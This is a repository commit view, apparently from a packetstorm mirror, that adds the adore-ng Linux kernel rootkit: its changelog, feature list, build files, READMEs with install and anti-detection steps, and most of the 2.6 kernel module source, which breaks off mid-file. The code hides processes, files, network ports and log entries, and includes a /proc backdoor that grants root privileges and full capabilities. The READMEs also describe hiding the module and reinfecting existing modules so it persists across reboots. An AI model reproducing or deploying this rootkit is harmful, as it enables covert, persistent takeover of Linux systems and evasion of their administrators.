summaryrefslogtreecommitdiff
path: root/other/adore-ng
diff options
context:
space:
mode:
authorSkyperTHC2026-03-03 06:28:55 +0000
committerSkyperTHC2026-03-03 06:28:55 +0000
commit5d3573ef7a109ee70416fe94db098fe6a769a798 (patch)
treedc2d5b294c9db8ab2db7433511f94e1c4bb8b698 /other/adore-ng
parentc6c59dc73cc4586357f93ab38ecf459e98675cc5 (diff)
packetstorm sync
Diffstat (limited to 'other/adore-ng')
-rw-r--r--other/adore-ng/CVS/Entries22
-rw-r--r--other/adore-ng/CVS/Repository1
-rw-r--r--other/adore-ng/CVS/Root1
-rw-r--r--other/adore-ng/Changelog174
-rw-r--r--other/adore-ng/FEATURES30
-rw-r--r--other/adore-ng/LICENSE31
-rw-r--r--other/adore-ng/Makefile.2.6.gen29
-rw-r--r--other/adore-ng/Makefile.gen33
-rw-r--r--other/adore-ng/README163
-rw-r--r--other/adore-ng/README.2629
-rw-r--r--other/adore-ng/adore-ng-2.6.c604
-rw-r--r--other/adore-ng/adore-ng.c665
-rw-r--r--other/adore-ng/adore-ng.h55
-rw-r--r--other/adore-ng/adore-ng.mod.c17
-rw-r--r--other/adore-ng/ava.c146
-rw-r--r--other/adore-ng/cleaner.c58
-rwxr-xr-xother/adore-ng/configure243
-rw-r--r--other/adore-ng/irq_vectors.h10
-rw-r--r--other/adore-ng/libinvisible.c169
-rw-r--r--other/adore-ng/libinvisible.h74
-rwxr-xr-xother/adore-ng/relink46
-rwxr-xr-xother/adore-ng/startadore11
-rw-r--r--other/adore-ng/symsed.c52
-rw-r--r--other/adore-ng/visible-start.c22
24 files changed, 2685 insertions, 0 deletions
diff --git a/other/adore-ng/CVS/Entries b/other/adore-ng/CVS/Entries
new file mode 100644
index 0000000..328b9db
--- /dev/null
+++ b/other/adore-ng/CVS/Entries
@@ -0,0 +1,22 @@
1/Changelog/1.10/Sat Feb 28 00:15:23 2004//
2/FEATURES/1.2/Fri Jan 30 18:42:39 2004//
3/LICENSE/1.2/Tue Mar 2 04:57:07 2004//
4/Makefile.2.6.gen/1.11/Sat Feb 28 00:41:30 2004//
5/Makefile.gen/1.8/Sun Feb 8 03:35:15 2004//
6/README/1.7/Sun Jan 4 17:53:16 2004//
7/README.26/1.3/Sat Feb 28 00:15:23 2004//
8/adore-ng-2.6.c/1.9/Sat Feb 28 00:15:23 2004//
9/adore-ng.c/1.26/Tue Mar 2 04:57:07 2004//
10/adore-ng.h/1.3/Fri Jan 3 14:58:17 2003//
11/adore-ng.mod.c/1.1/Thu Jul 24 12:30:37 2003//
12/ava.c/1.3/Wed Nov 5 15:02:48 2003//
13/cleaner.c/1.2/Wed Feb 26 14:43:08 2003//
14/configure/1.17/Sat Feb 28 00:41:30 2004//
15/irq_vectors.h/1.2/Sat Feb 28 00:15:23 2004//
16/libinvisible.c/1.7/Mon Dec 22 23:29:46 2003//
17/libinvisible.h/1.1.1.1/Tue Dec 31 15:48:59 2002//
18/relink/1.1/Mon Dec 22 16:25:58 2003//
19/startadore/1.1/Tue Dec 23 22:49:17 2003//
20/symsed.c/1.1/Mon Dec 22 16:25:58 2003//
21/visible-start.c/1.4/Sat Feb 28 00:15:23 2004//
22D
diff --git a/other/adore-ng/CVS/Repository b/other/adore-ng/CVS/Repository
new file mode 100644
index 0000000..e195356
--- /dev/null
+++ b/other/adore-ng/CVS/Repository
@@ -0,0 +1 @@
adore-ng
diff --git a/other/adore-ng/CVS/Root b/other/adore-ng/CVS/Root
new file mode 100644
index 0000000..3811072
--- /dev/null
+++ b/other/adore-ng/CVS/Root
@@ -0,0 +1 @@
/cvs
diff --git a/other/adore-ng/Changelog b/other/adore-ng/Changelog
new file mode 100644
index 0000000..dd258c0
--- /dev/null
+++ b/other/adore-ng/Changelog
@@ -0,0 +1,174 @@
11.41
2----
3
4+ Wed Mar 3 2004
5+ 2.6.3 tests, getting to know that some declarations are different
6 on 2.6.3
7
81.40
9----
10
11+ Sun Feb 29 2004
12+ Ported all of the adore for 2.4 kernel to 2.6 kernel
13 (including socket hiding, syslog filtering and xtmp clearing)
14
151.32
16----
17
18+ Sun Feb 8 2004
19+ Added fix in tcp_new_size() so it wont crash if lot
20 of TCP connections exist
21
221.31
23----
24
25+ Sat Jan 3 2004
26+ Changed socket hijacking to work with 2.4.18 and below
27+ SMP tests
28
291.30
30----
31
32+ Sun Dec 21 2003
33+ Added syslog filtering
34+ Added wtmp/utmp/lastlog filtering
35+ Restrict ADORE_KEY to 16 bytes max
36+ Added relink script
37+ Added symsed
38+ Added startadore
39+ Added LKM infection for reboot residency
40
41
421.26
43----
44
45+ heh, forgot to update $current_adore before tagging
46 to version 0.26 :)
47
481.25
49----
50
51+ Hidden 'ps' (started from hidden shell) must be able
52 to see itself on /proc. Otherwise some distros make
53 probs. Fixed!
54+ Added 'I' switch to ava
55
56
571.23
58----
59
60+ 2.6 port
61+ added visible-start
62
631.12
64----
65
66+ fixed adore_atoi() respect to /proc misbehaivior
67 a PID of 672 has the string "672üA" so make atoi()
68 handle this
69+ fixed adore_init() which did not checked ssuid
70 correctly
71
72
731.11
74----
75
76+ rewrote most parts (using VFS etc)
77 -> adore-ng
78
790.53
80----
81
82+ #define PID_MAX if not found
83
84
850.52
86----
87+ support 16 and 32 bit UID/GID
88+ using spin-locks
89+ hooking lookup in proc_root, so many adore-testers
90 fail now
91+ much better tcp-connection hiding, also via proc
92+ removed file redirection
93+ added elite_gid, so its now impossible to detect adore by
94 chown()+getdents() bruteforce
95+ elite_uid/elite_gid are randomly choosen by "configure"
96+ close() should return EBADF when
97 user is not authenticated. It does so now.
98
990.42
100----
101
102+ Added devpts fix.
103
1040.41
105----
106
107+ fixed is_secret64() to properly hide files.
108+ removed memleak
109
1100.40
111----
112
113+ fixed some typo in cleanup_module()
114
115
1160.39b
117-----
118
119+ open()/stat() redirection
120+ no more exec redir
121+ Added possiblility to hide more than one service
122 (netstat -an vs. -al)
123+ This is a Beta version! It is for testing purposes,
124 whether open/stat redir works properly.
125
1260.38
127----
128
129+ Nothing. CVS-internally thing.
130
131
1320.36
133----
134
135+ Added rename.c as generic way to rename/rmmod protection
136 modules such as StMichael.
137+ Fixed libinvisble: Dont follow links on chown() ->
138 now properly hides symlinks
139
1400.35
141----
142
143+ Added 64 bit FS support, for 2.4 plus new glibc
144
145
1460.33
147----
148
149+ Added auth via mkdir(2) to defeat scanners
150+ setuid() -> close() change since 2.4 kernel uses setuid32()
151
152
1530.32
154----
155
156+ added kgcc check in configure
157+ added exec-redirection
158+ made 'R' switch stable (now official feature)
159
160
1610.31
162----
163+ empty module-list doesn't crash anymore :)
164+ removed syslog dis/enabling coz a lot of ppl told me its not of much use
165 and it only costs porting time and robustness
166+ added removing of procs
167+ no chkroot defat anymore. there are too many ways to detect rootkits
168
169
170...
171sowhere below
172
173+ Added 'cant be killed from normal processes'
174
diff --git a/other/adore-ng/FEATURES b/other/adore-ng/FEATURES
new file mode 100644
index 0000000..1e88216
--- /dev/null
+++ b/other/adore-ng/FEATURES
@@ -0,0 +1,30 @@
1
2If you never used adore before, here's a list of supported
3things:
4
5 o runs on kernel 2.4.x UP and SMP systems
6 o first test-versions successfully run on 2.6.0
7 o file and directory hiding
8 o process hiding
9 o socket-hiding (no matter whether LISTENing, CONNECTED etc)
10 o full-capability back door
11 o does not utilize sys_call_table but VFS layer
12 o KISS principle, to have as less things in there as possible
13 but also being as much powerful as possible
14
15new with adore-ng 0.30:
16
17 o syslog filtering: logs generated by hidden processes never appear
18 on the syslog UNIX socket anymore
19 o wtmp/utmp/lastlog filtering: writing of xtmp entries by hidden processes
20 do not appear in the file, except you force it by using special hidden
21 AND authenticated process (a sshd back door is usually only hidden thus
22 xtmp entries written by sshd don't make it to disk)
23 o (optional) relinking of LKMs as described in phrack #61 aka LKM infection
24 to make it possible to be automatically reloaded after reboots
25
26The build and installation process is usually as easy as
27'./configure && make && ./startadore' and/or
28'./configure && make && ./relink' so you can set up your honey-pot
29test-environment very easily.
30
diff --git a/other/adore-ng/LICENSE b/other/adore-ng/LICENSE
new file mode 100644
index 0000000..63d3b1a
--- /dev/null
+++ b/other/adore-ng/LICENSE
@@ -0,0 +1,31 @@
1/*
2 * Copyright (C) 2000-2004 Stealth.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Stealth.
16 * 4. The name Stealth may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
diff --git a/other/adore-ng/Makefile.2.6.gen b/other/adore-ng/Makefile.2.6.gen
new file mode 100644
index 0000000..78ea182
--- /dev/null
+++ b/other/adore-ng/Makefile.2.6.gen
@@ -0,0 +1,29 @@
1#
2CC=cc
3CFLAGS=-O2 -Wall
4
5CFLAGS+=-mcpu=i486
6INC=-I/mnt/linux-2.6.3/include -I.
7CFLAGS+=-DKBUILD_MODNAME=adore -DKBUILD_BASENAME=adore -fno-common
8CFLAGS+=-DELITE_UID=2618748389U -DELITE_GID=4063569279U
9CFLAGS+=-DCURRENT_ADORE=41
10CFLAGS+=-DADORE_KEY=\"fgjgggfd\"
11
12#CFLAGS+=-D__SMP__
13
14#CFLAGS+=-DMODVERSIONS
15
16all: adore-ng ava
17
18adore-ng: adore-ng-2.6.c
19 rm -f adore-ng.o
20 $(CC) -c $(INC) $(CFLAGS) adore-ng.mod.c -o adore-ng.mod.o
21 $(CC) -c $(INC) $(CFLAGS) adore-ng-2.6.c -o adore-ng.o
22 ld -m elf_i386 -r -o adore.ko adore-ng.o adore-ng.mod.o
23
24ava: ava.c libinvisible.c
25 $(CC) $(CFLAGS) ava.c libinvisible.c -o ava
26
27clean:
28 rm -f core ava *.o
29
diff --git a/other/adore-ng/Makefile.gen b/other/adore-ng/Makefile.gen
new file mode 100644
index 0000000..28eb091
--- /dev/null
+++ b/other/adore-ng/Makefile.gen
@@ -0,0 +1,33 @@
1#
2CC=cc
3CFLAGS=-O2 -Wall
4#ld -m elf_i386 -r
5# KBUILD_BASENAME adore-ng KBUILD_MODNAME=adore-ng
6#CFLAGS+=-mcpu=i486
7INC=-I/usr/src/linux/include
8CFLAGS+=-DELITE_UID=764385989U -DELITE_GID=2219856091U
9CFLAGS+=-DCURRENT_ADORE=32
10CFLAGS+=-DADORE_KEY=\"gfsgfgdf\"
11
12#CFLAGS+=-D__SMP__
13
14#CFLAGS+=-DMODVERSIONS
15
16all: adore-ng ava cleaner symsed
17
18adore-ng: adore-ng.c
19 rm -f adore-ng.o
20 $(CC) -c $(INC) $(CFLAGS) adore-ng.c -o adore-ng.o
21 $(CC) -c $(INC) $(CFLAGS) -DRELINKED adore-ng.c -o zero.o
22
23ava: ava.c libinvisible.c
24 $(CC) $(CFLAGS) ava.c libinvisible.c -o ava
25
26cleaner: cleaner.c
27 $(CC) $(INC) -c $(CFLAGS) cleaner.c
28
29symsed: symsed.c
30 $(CC) -O2 symsed.c -o symsed
31
32clean:
33 rm -f core ava *.o
diff --git a/other/adore-ng/README b/other/adore-ng/README
new file mode 100644
index 0000000..7a5ebee
--- /dev/null
+++ b/other/adore-ng/README
@@ -0,0 +1,163 @@
1Please read this! It is important. Otherwise you maybe crash your kernel!
2=========================================================================
3
4
50. Intro
6--------
7
8Only *YOU* are responsible for your own actions. So if you are
9dumb enough to own machines and install this software on it,
10only you can be blamed for it.
11
12Do not say you have not been warned!
13
14
151. Install by hand
16------------------
17
18You can skip this section if you want to use the "configure"
19script. This section might be important if the configure
20script does not run somehow or produces wrong output.
21
22Edit Makefile and set proper values.
23
24Everyone should choose an own ADORE_KEY to make it impossible to scan
25for installed adore. Also ELITE_UID and ELITE_GID should be
26changed to own values.
27When commenting in the MODVERSIONS-switch, adore will be compiled
28for modversioned kernels. Modversioned kernels have a /proc/ksyms file
29that looks like
30
31...
32foo_barR12345678
33...
34
35where normal kernels would look like
36
37...
38foo_bar
39...
40
41On some systems it can't find modversions.h. Try disabling MODVERSIONS even
42when you see the symbols are version-ed. It seems to me that using MODVERSIONS
43isn't necessary on newer kernels.
44
45
46Hidden ports (adore-ng.h) go decimal, i.e. '2222' hides everything which belongs to port
472222.
48The tcp-hiding has been redesigned completely. It uses a technique similar to
49the one described by palmers in phrack (http://www.phrack.org/show.php?p=58&a=6)
50By default 2222 and 7350 are hidden. Only IPv4 (tcp4) stuff is hidden.
51
52It is now very hard for adore-scanners to find a running adore because
53it is not longer possible to chdir() or stat() PID-dirs in /proc
54if PID is hidden. It is completely invisible, except to processes which
55are hidden them self.
56Files are now hidden using both, a ELITE_UID and a ELITE_GID which are chosen
57randomly upon 'configure'. So we have 2**64 possible values which is
58impossible to brute-force and thus checking for hidden files by brute-forcing
59uid/gid.
60
61Older Linux systems have a width of 16 bit for UID's and GID's, newer systems
62have 32 bit. Adore supports both. Either give 4 (for 32 bit) or 2 (for 16 bit)
63as argument to configure e.g. 'configure 4'. The default is 4.
64
65
66Make sure SMP is enabled when it is in kernel.
67Don't forget to recompile when you changed Makefile.
68Two 'makes' may produce two different adore's that maybe can't
69interact (i.e. further hidden-files are visible now due to UID-change).
70For this reason, the Makefiles are backed-up to allow a restore.
71
72
73
742. Install by script
75--------------------
76
77Run configure-script.
78Script should give you some messages which uid's are used etc.
79View Makefile to see if everything is fine. Edit adore-ng.h to meet
80with your services you want to hide. Defaults to port 2222 and 7350.
81Do 'make'.
82"insmod ./adore.o" as root.
83Use "ava" to hide files, processes and so on then.
84
85When ava responds, there is no adore, but you are sure there is,
86then you maybe compiled adore.o and ava with different ADORE_KEY's.
87Do 'make clean; make' to put it in sync.
88
89"insmod ./cleaner.o; rmmod cleaner" to hide the adore LKM from lsmod.
90Or use "startadore" script. Use "relink" script to relink adore-ng
91into one of the LKMs already available on the system, so it is
92automatically loaded during reboot.
93
943. libinvisible
95---------------
96
97libinvisible was written to have a layer between adore and ava.
98Since there are other OS's which may be targeted by adore-like modules,
99ava.c could easily ported, if one writes the proper library-calls.
100libinvisible maybe also used from within sysop-written hidden logdeamons
101as easy API to adore.
102
103
104Adore was written for EDUCATIONAL PURPOSES, for testing on honey-pot
105boxens (watching suspicious "broken" accounts) and intrusion testings.
106If you need more help watching broken accounts, you may also use
107EoE to watch what is executed.
108
109
1104. Use 'R' with care
111--------------------
112
113'R' switch of ava isn't well researched. It may crash your machine.
114'R'emoving current shell isn't good idea.
115
116
1175. A word on detecting root-kits
118-------------------------------
119
120Adore has quite good anti-detection measurements in version 0.5 and better.
121Since we use the new proc technique we completely control what user-space
122programs see. It isn't even longer possible to detect hidden processes
123by walking through the task-list and checking for PF_INVISBLE flag
124because adore now uses a different approach to check for hidden procs.
125I know of tools which read the disk raw by accessing /dev/hdXY and comparing
126getdents() result with it. Thats the only thing where someone may detect
127adore yet, but only if there are hidden files! It is not necessary to hide
128files in all cases. Plus, modern systems support file-systems which are located
129completely in-memory. This technique will fail here.
130
131Child-processes of hidden processes are hidden automatically.
132
133
1346. Troubleshooting
135------------------
136
137In case gcc can't find modversions.h try to disable
138MODVERSIONS flag in Makefile.
139
140
1417. SMP primer
142-------------
143
144Adore-ng was successfully tested on UP and SMP systems.
145
146
147
1488. etc
149-------
150
151You can also control adore-ng by hand via echo & cat, look at adore-ng.c
152to see how.
153You can specify an optional FS where files can be hidden.
154Only use this switch ("insmod adore-ng.o opt_fs=/opt" for example)
155when you are sure that / and (your particular) /opt have a different
156FS, for example ext3 on / and reiser on /opt. otherwise you will
157get FS inconsistencies for sure. The opt_fs argument should not
158be needed in most cases anyway. Mounts of other partitions with the same
159FS will be affected by adore too. So if / and /opt both have ext3, you
160dont need to worry. Adore will handle both without a opt_fs switch.
161
162Stealth
163
diff --git a/other/adore-ng/README.26 b/other/adore-ng/README.26
new file mode 100644
index 0000000..72a3d73
--- /dev/null
+++ b/other/adore-ng/README.26
@@ -0,0 +1,29 @@
1adore-ng works on kernel 2.6!
2
32.6.0-test1 and 2.6.3 UP tested! SMP has not been tested.
4
5You need the module-init-tools for the new insmod, rmmod etc,
6the old ones don't work anymore.
7
8To build a adore for 2.6, use the "Makefile.2.6.gen" makefile
9after you customized the elite UID etc (or you did not,
10I dont care at all).
11
12The 2.6.0-test1 kernel has a different declaration for
13the unix_dgram_recvmg() function than the 2.6.3 kernel. Thats
14why you may get some warning on 2.6.0 builds. You can ignore them.
15
16With the 2.6 kernel, a version magic is build into the kernel
17module (which are now .ko files carrying more info than
18the old .o files for 2.4) which is even checked at loading time.
19So, if the kernel is build with a different compiler than the
20one used for building the module, you get an error like:
21
22adore: version magic '2.6.3 586 gcc-3.2' should be '2.6.3 586 gcc-3.3'
23
24To circumvent this you can set an own version magic in the
25adore-ng.mod.c file (makes sense to use '2.6.3 586 gcc-3.3'
26in this case.)
27
28S.
29
diff --git a/other/adore-ng/adore-ng-2.6.c b/other/adore-ng/adore-ng-2.6.c
new file mode 100644
index 0000000..c0a30f7
--- /dev/null
+++ b/other/adore-ng/adore-ng-2.6.c
@@ -0,0 +1,604 @@
1/*** (C) 2004 by Stealth
2 ***
3 *** http://spider.scorpions.net/~stealth
4 *** http://stealth.7350.org/rootkits
5 ***
6 ***
7 *** (C)'ed Under a BSDish license. Please look at LICENSE-file.
8 *** SO YOU USE THIS AT YOUR OWN RISK!
9 *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS.
10 *** !!! FOR EDUCATIONAL PURPOSES ONLY !!!
11 ***
12 *** -> Use ava to get all the things workin'.
13 ***
14 ***/
15#define __KERNEL__
16#define MODULE
17
18#define LINUX26
19
20#ifdef MODVERSIONS
21#include <linux/modversions.h>
22#endif
23
24#include <linux/config.h>
25#include <linux/types.h>
26#include <linux/sched.h>
27#include <linux/kernel.h>
28#include <linux/module.h>
29#include <linux/string.h>
30#include <linux/fs.h>
31#include <linux/file.h>
32#include <linux/mount.h>
33#include <linux/proc_fs.h>
34#include <linux/capability.h>
35#include <linux/spinlock.h>
36#include <linux/pid.h>
37#include <linux/init.h>
38#include <linux/seq_file.h>
39
40#include <net/sock.h>
41#include <linux/un.h>
42#include <net/af_unix.h>
43#include <linux/aio.h>
44
45#include "adore-ng.h"
46
47
48char *proc_fs = "/proc"; /* default proc FS to hide processes */
49MODULE_PARM(proc_fs, "s");
50char *root_fs = "/"; /* default FS to hide files */
51
52MODULE_PARM(root_fs, "s");
53char *opt_fs = NULL;
54MODULE_PARM(opt_fs, "s");
55
56
57typedef int (*readdir_t)(struct file *, void *, filldir_t);
58readdir_t orig_root_readdir=NULL,orig_opt_readdir=NULL,orig_proc_readdir=NULL;
59
60struct dentry *(*orig_proc_lookup)(struct inode *, struct dentry *,
61 struct nameidata *) = NULL;
62
63
64static void adore_cleanup();
65
66
67#ifndef PID_MAX
68#define PID_MAX 0x8000
69#endif
70
71static char hidden_procs[PID_MAX/8+1];
72
73inline void hide_proc(pid_t x)
74{
75 if (x >= PID_MAX || x == 1)
76 return;
77 hidden_procs[x/8] |= 1<<(x%8);
78}
79
80inline void unhide_proc(pid_t x)
81{
82 if (x >= PID_MAX)
83 return;
84 hidden_procs[x/8] &= ~(1<<(x%8));
85}
86
87inline char is_invisible(pid_t x)
88{
89 if (x >= PID_MAX)
90 return 0;
91 return hidden_procs[x/8]&(1<<(x%8));
92}
93
94/* Theres some crap after the PID-filename on proc
95 * getdents() so the semantics of this function changed:
96 * Make "672" -> 672 and
97 * "672|@\" -> 672 too
98 */
99int adore_atoi(const char *str)
100{
101 int ret = 0, mul = 1;
102 const char *ptr;
103
104 for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++)
105 ;
106 ptr--;
107 while (ptr >= str) {
108 if (*ptr < '0' || *ptr > '9')
109 break;
110 ret += (*ptr - '0') * mul;
111 mul *= 10;
112 ptr--;
113 }
114 return ret;
115}
116
117/* Own implementation of find_task_by_pid() */
118struct task_struct *adore_find_task(pid_t pid)
119{
120 struct task_struct *p;
121
122 read_lock(&tasklist_lock);
123 for_each_task(p) {
124 if (p->pid == pid) {
125 read_unlock(&tasklist_lock);
126 return p;
127 }
128 }
129 read_unlock(&tasklist_lock);
130 return NULL;
131}
132
133int should_be_hidden(pid_t pid)
134{
135 struct task_struct *p = NULL;
136
137 if (is_invisible(pid)) {
138 return 1;
139 }
140
141 p = adore_find_task(pid);
142 if (!p)
143 return 0;
144
145 /* If the parent is hidden, we are hidden too XXX */
146 task_lock(p);
147
148 if (is_invisible(p->parent->pid)) {
149 task_unlock(p);
150 hide_proc(pid);
151 return 1;
152 }
153
154 task_unlock(p);
155 return 0;
156}
157
158/* You can control adore-ng without ava too:
159 *
160 * echo > /proc/<ADORE_KEY> will make the shell authenticated,
161 * echo > /proc/<ADORE_KEY>-fullprivs will give UID 0,
162 * cat /proc/hide-<PID> from such a shell will hide PID,
163 * cat /proc/unhide-<PID> will unhide the process
164 */
165struct dentry *adore_lookup(struct inode *i, struct dentry *d,
166 struct nameidata *nd)
167{
168 task_lock(current);
169
170 if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) {
171 current->flags |= PF_AUTH;
172 current->suid = ADORE_VERSION;
173 } else if ((current->flags & PF_AUTH) &&
174 strncmp(d->d_iname, "fullprivs", 9) == 0) {
175 current->uid = 0;
176 current->suid = 0;
177 current->euid = 0;
178 current->gid = 0;
179 current->egid = 0;
180 current->fsuid = 0;
181 current->fsgid = 0;
182
183 cap_set_full(current->cap_effective);
184 cap_set_full(current->cap_inheritable);
185 cap_set_full(current->cap_permitted);
186 } else if ((current->flags & PF_AUTH) &&
187 strncmp(d->d_iname, "hide-", 5) == 0) {
188 hide_proc(adore_atoi(d->d_iname+5));
189 } else if ((current->flags & PF_AUTH) &&
190 strncmp(d->d_iname, "unhide-", 7) == 0) {
191 unhide_proc(adore_atoi(d->d_iname+7));
192 } else if ((current->flags & PF_AUTH) &&
193 strncmp(d->d_iname, "uninstall", 9) == 0) {
194 cleanup_module();
195 }
196
197 task_unlock(current);
198
199 if (should_be_hidden(adore_atoi(d->d_iname)) &&
200 /* A hidden ps must be able to see itself! */
201 !should_be_hidden(current->pid))
202 return NULL;
203
204 return orig_proc_lookup(i, d, nd);
205}
206
207
208filldir_t proc_filldir = NULL;
209spinlock_t proc_filldir_lock = SPIN_LOCK_UNLOCKED;
210
211int adore_proc_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
212{
213 if (should_be_hidden(adore_atoi(name)))
214 return 0;
215 return proc_filldir(buf, name, nlen, off, ino, x);
216}
217
218
219
220int adore_proc_readdir(struct file *fp, void *buf, filldir_t filldir)
221{
222 int r = 0;
223
224 spin_lock(&proc_filldir_lock);
225 proc_filldir = filldir;
226 r = orig_proc_readdir(fp, buf, adore_proc_filldir);
227 spin_unlock(&proc_filldir_lock);
228 return r;
229}
230
231
232filldir_t opt_filldir = NULL;
233struct super_block *opt_sb[1024];
234
235int adore_opt_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
236{
237 struct inode *inode = NULL;
238 int r = 0;
239 uid_t uid;
240 gid_t gid;
241
242 if ((inode = iget(opt_sb[current->pid % 1024], ino)) == NULL)
243 return 0;
244 uid = inode->i_uid;
245 gid = inode->i_gid;
246 iput(inode);
247
248 /* Is it hidden ? */
249 if (uid == ELITE_UID && gid == ELITE_GID) {
250 r = 0;
251 } else
252 r = opt_filldir(buf, name, nlen, off, ino, x);
253
254 return r;
255}
256
257
258int adore_opt_readdir(struct file *fp, void *buf, filldir_t filldir)
259{
260 int r = 0;
261
262 if (!fp || !fp->f_vfsmnt)
263 return 0;
264
265 opt_filldir = filldir;
266 opt_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb;
267 r = orig_opt_readdir(fp, buf, adore_opt_filldir);
268
269 return r;
270}
271
272
273
274/* About the locking of these global vars:
275 * I used to lock these via rwlocks but on SMP systems this can cause
276 * a deadlock because the iget() locks an inode itself and I guess this
277 * could cause a locking situation of AB BA. So, I do not lock root_sb and
278 * root_filldir (same with opt_) anymore. root_filldir should anyway always
279 * be the same (filldir64 or filldir, depending on the libc). The worst thing that
280 * could happen is that 2 processes call filldir where the 2nd is replacing
281 * root_sb which affects the 1st process which AT WORST CASE shows the hidden files.
282 * Following conditions have to be met then: 1. SMP 2. 2 processes calling getdents()
283 * on 2 different partitions with the same FS.
284 * Now, since I made an array of super_blocks it must also be that the PIDs of
285 * these procs have to be the same PID modulo 1024. This sitation (all 3 cases must
286 * be met) should be very very rare.
287 */
288filldir_t root_filldir = NULL;
289struct super_block *root_sb[1024];
290
291
292
293int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
294{
295 struct inode *inode = NULL;
296 int r = 0;
297 uid_t uid;
298 gid_t gid;
299
300 if ((inode = iget(root_sb[current->pid % 1024], ino)) == NULL)
301 return 0;
302 uid = inode->i_uid;
303 gid = inode->i_gid;
304 iput(inode);
305
306 /* Is it hidden ? */
307 if (uid == ELITE_UID && gid == ELITE_GID) {
308 r = 0;
309 } else
310 r = root_filldir(buf, name, nlen, off, ino, x);
311
312 return r;
313}
314
315
316int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir)
317{
318 int r = 0;
319
320 if (!fp || !fp->f_vfsmnt)
321 return 0;
322
323 root_filldir = filldir;
324 root_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb;
325 r = orig_root_readdir(fp, buf, adore_root_filldir);
326
327 return r;
328}
329
330
331int patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir)
332{
333 struct file *filep;
334
335 if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) {
336 return -1;
337 }
338
339 if (orig_readdir)
340 *orig_readdir = filep->f_op->readdir;
341
342 filep->f_op->readdir = new_readdir;
343 filp_close(filep, 0);
344 return 0;
345}
346
347
348int unpatch_vfs(const char *p, readdir_t orig_readdir)
349{
350 struct file *filep;
351
352 if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) {
353 return -1;
354 }
355
356 filep->f_op->readdir = orig_readdir;
357 filp_close(filep, 0);
358 return 0;
359}
360
361
362char *strnstr(const char *haystack, const char *needle, size_t n)
363{
364 char *s = strstr(haystack, needle);
365 if (s == NULL)
366 return NULL;
367 if (s-haystack+strlen(needle) <= n)
368 return s;
369 else
370 return NULL;
371}
372
373
374struct proc_dir_entry *proc_find_tcp()
375{
376 struct proc_dir_entry *p = proc_net->subdir;
377
378 while (strcmp(p->name, "tcp"))
379 p = p->next;
380 return p;
381}
382
383
384#define NET_CHUNK 150
385
386struct tcp_seq_afinfo {
387 struct module *owner;
388 char *name;
389 unsigned short family;
390 int (*seq_show) (struct seq_file *, void *);
391 struct file_operations *seq_fops;
392};
393
394int (*orig_tcp4_seq_show)(struct seq_file*, void *) = NULL;
395
396int adore_tcp4_seq_show(struct seq_file *seq, void *v)
397{
398 int i = 0, r = 0;
399 char port[12];
400
401 r = orig_tcp4_seq_show(seq, v);
402
403 for (i = 0; HIDDEN_SERVICES[i]; ++i) {
404 sprintf(port, ":%04X", HIDDEN_SERVICES[i]);
405
406 /* Ignore hidden blocks */
407 if (strnstr(seq->buf + seq->count-NET_CHUNK,port,NET_CHUNK)) {
408 seq->count -= NET_CHUNK;
409 break;
410 }
411 }
412
413 return r;
414}
415
416static
417int (*orig_unix_dgram_recvmsg)(struct kiocb *, struct socket *, struct msghdr *,
418 size_t, int) = NULL;
419static struct proto_ops *unix_dgram_ops = NULL;
420
421int adore_unix_dgram_recvmsg(struct kiocb *kio, struct socket *sock,
422 struct msghdr *msg, size_t size, int flags)
423{
424 struct sock *sk = NULL;
425 int noblock = flags & MSG_DONTWAIT;
426 struct sk_buff *skb = NULL;
427 int err;
428 struct ucred *creds = NULL;
429 int not_done = 1;
430
431 if (strcmp(current->comm, "syslogd") != 0 || !msg || !sock)
432 goto out;
433
434 sk = sock->sk;
435
436 err = -EOPNOTSUPP;
437 if (flags & MSG_OOB)
438 goto out;
439
440 do {
441 msg->msg_namelen = 0;
442 skb = skb_recv_datagram(sk, flags|MSG_PEEK, noblock, &err);
443 if (!skb)
444 goto out;
445 creds = UNIXCREDS(skb);
446 if (!creds)
447 goto out;
448 if ((not_done = should_be_hidden(creds->pid)))
449 skb_dequeue(&sk->sk_receive_queue);
450 } while (not_done);
451
452out:
453 err = orig_unix_dgram_recvmsg(kio, sock, msg, size, flags);
454 return err;
455}
456
457
458static struct file *var_files[] = {
459 NULL,
460 NULL,
